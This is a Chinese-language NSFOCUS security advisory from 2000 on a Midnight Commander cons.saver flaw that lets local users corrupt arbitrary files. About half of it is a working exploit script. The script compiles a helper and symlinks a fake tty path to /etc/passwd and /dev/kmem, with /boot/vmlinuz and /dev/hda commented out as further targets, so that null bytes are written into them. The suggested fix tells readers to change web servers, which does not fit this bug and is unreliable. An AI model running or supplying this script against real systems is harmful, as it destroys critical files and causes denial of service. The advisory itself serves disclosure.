首页 -> 安全研究
安全研究
安全漏洞
Midnight Commander cons.saver 覆盖任意文件漏洞
发布日期:2000-11-15
更新日期:2000-11-15
受影响系统:
描述:
Midnight Commander 4.5.42
Midnight Commander(mc)是一个Unix系统下的文件管理工具。mc 4.5.42所带的
一个控制台工具cons.saver存在一个安全漏洞。如果它被设置了suid root属性。
可能允许本地用户破坏文件系统上的任意文件。
这个程序的主参数是它将要使用的终端设备的路径名,当cons.saver打开指定文
件时,它会首先检查是否它是一个终端设备,如果不是,它忘记关闭这个文件描
述符。因此,如果用户在执行cons.saver之前就关闭标准输出的文件描述符,
cons.saver就会将一个空字节写入标准输出(现在实际上是用户指定打开的文件
)中。如果指定文件是一个符号链接,空字节就被写入所指向的文件中。
这可能导致一个本地的拒绝服务攻击。
RedHat 6.1/6.2所带的cons.saver中没有设置suid root属性,因此并不受此问
题影响。
<* 来源: Maurycy Prodeus (z33d@eth-security.net) *>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
#!/bin/sh
# *---------------------------------------------------------*
# Slaughterhouse ver. 1.0 by z33d@eth-security.net (C) 2000 |
# Bloody, Midnight DoS ;> with suid cons.saver
# Dedicated to my lovely mother.
# : Greetz
# * (...) Oczy niebieskie (...)
# - y3t1 - twe zyczenie jest dla mnie rozkazem :)
# - wroclaw's killers <=> dyziu, decker, kanedaa, otgpdvt, korie, viedzmin (...)
# - argante development team (lcamtuf,bulba,artur,marcin,bikappa,honey ...)
# - #sigsegv (funkysh, y3t1, cliph, detergent, kris, venglin ...)
# - sister of night
# - other ppl like mareczek, grubszy, karol, adam, wojtas, siebylnikov,
# slodka Asia (...) |
# *---------------------------------------------------------*
if [ -u /usr/lib/mc/bin/cons.saver ]; then
echo "Zdarza sie."
else
echo "Swoja matke przepros ..."
exit 0
fi
cat >/tmp/rzeznia.c <<_eof_
#include <stdio.h>
#include <unistd.h>
main(){ close(0); close(1);
execl("/usr/lib/mc/bin/cons.saver","cons.saver","/tmp/tty13",NULL);
printf("To jakies fatalne nieporozumienie...\n");}
_eof_
gcc /tmp/rzeznia.c -o /tmp/rzeznia
rm -f /tmp/rzeznia.c
if [ -x /tmp/rzeznia ]; then
echo "On naostrzyl juz noz ... mial rowek i trojkatny ksztalt"
else
echo "ZZZZZZz Zyz yzyzyyzyzyzyzyyy y y . . ."
exit 0
fi
ln -s /etc/passwd /tmp/tty13
/tmp/rzeznia
rm -f /tmp/tty13
ln -s /dev/kmem /tmp/tty13
/tmp/rzeznia
rm -f /tmp/tty13
# Uzyj w razie potrzeby ;>
# ln -s /boot/vmlinuz /tmp/tty13
# /tmp/rzeznia
# rm -f /tmp/tty13
# ln -s /dev/hda /tmp/tty13
# /tmp/rzeznia
echo "... "
echo " he passed away"
rm -f /tmp/rzeznia
建议:
临时解决办法:
NSFOCUS建议您暂时改用别的web服务器,或者自行修改代码增加边界检查。
厂商补丁:
暂无。
浏览次数:5335
严重程度:0(网友投票)
绿盟科技给您安全的保障